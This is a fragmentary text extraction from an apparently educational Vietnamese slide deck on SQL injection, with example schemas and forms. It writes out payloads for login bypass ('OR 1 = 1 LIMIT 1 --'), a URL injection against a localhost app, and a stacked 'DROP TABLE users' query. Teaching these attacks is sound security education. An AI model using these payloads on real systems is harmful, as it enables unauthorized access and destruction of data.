Professional Documents
Culture Documents
SQL INJECTION
2
SQL Injection
❖ Các dạng lỗi thường gặp:
Không kiểm tra ký tự thoát truy vấn
Xử lý không đúng kiểu
Lỗi bảo mật bên trong máy chủ cơ sở dữ liệu
Blind SQL Injection
3
Các dạng tấn công SQL injection
Dạng tấn công vượt qua kiểm tra đăng nhập
Dạng tấn công sử dụng câu lệnh SELECT
Dạng tấn công sử dụng câu lệnh INSERT
Dạng tấn công sử dụng stored-procedures
4
Dạng tấn công vượt qua kiểm tra đăng nhập
(authorization bypass)
Đăng nhập nhờ vào lỗi khi dùng các câu lệnh SQL.
Ví dụ: table users như sau:
CREATE TABLE users (
id INT NOT NULL AUTO_INCREMENT,
username VARCHAR(100) NULL,
password VARCHAR(50) NULL,
PRIMARY KEY (id)
);
5
Dạng tấn công vượt qua kiểm tra đăng nhập
(authorization bypass)
<form action='process_login.php' method="post">
Username<input type=“text" name=“username" />
Password <input type="password" name="password" />
<input type="submit" value="Login" />
</form>
require 'dbcon.php';
Đăng nhập:
- Nhập vào ô username: khongbiet' OR 1 = 1 LIMIT 1 -- ]
- Nhập vào ô password: khongbiet
Tương đương:
SELECT * FROM users WHERE username = 'khongbiet' OR 1 = 1 LIMIT 1
8
Dạng tấn công vượt qua kiểm tra đăng nhập
(authorization bypass)
Thông thường:
• Sẽ có một trang nhận ID của tin cần hiển thị
• Sau đó truy vấn nội dung của tin có ID này
• Hoặc ô nhập liệu tìm kiếm
10
Dạng tấn công sử dụng câu lệnh SELECT
Ví dụ:
CREATE TABLE monhoc (
maMon varchar(8) NOT NULL PRIMARY KEY,
tenMon varchar(100) NOT NULL,
soTC int(11) NOT NULL
);
11
Dạng tấn công sử dụng câu lệnh SELECT
<form action='process_search.php' method="post">
Nhập tênmôn: <input type="text" name=“tenmon" required="required"/>
<input type="submit" value="Tìm" />
</form>
13
Dạng tấn công sử dụng câu lệnh SELECT
14
Dạng tấn công sử dụng câu lệnh SELECT
15
Dạng tấn công sử dụng câu lệnh SELECT
17
Dạng tấn công sử dụng câu lệnh SELECT
http://localhost/MyPhamOnline/php/index.php?function=sanphamchitiet&id=1
18
Dạng tấn công sử dụng câu lệnh SELECT
http://localhost/MyPhamOnline/php/index2.php?function=sanphamchitiet&id=0 or 1=1 --
a'; DROP TABLE users; SELECT * FROM sinhvien WHERE '1' = '1
20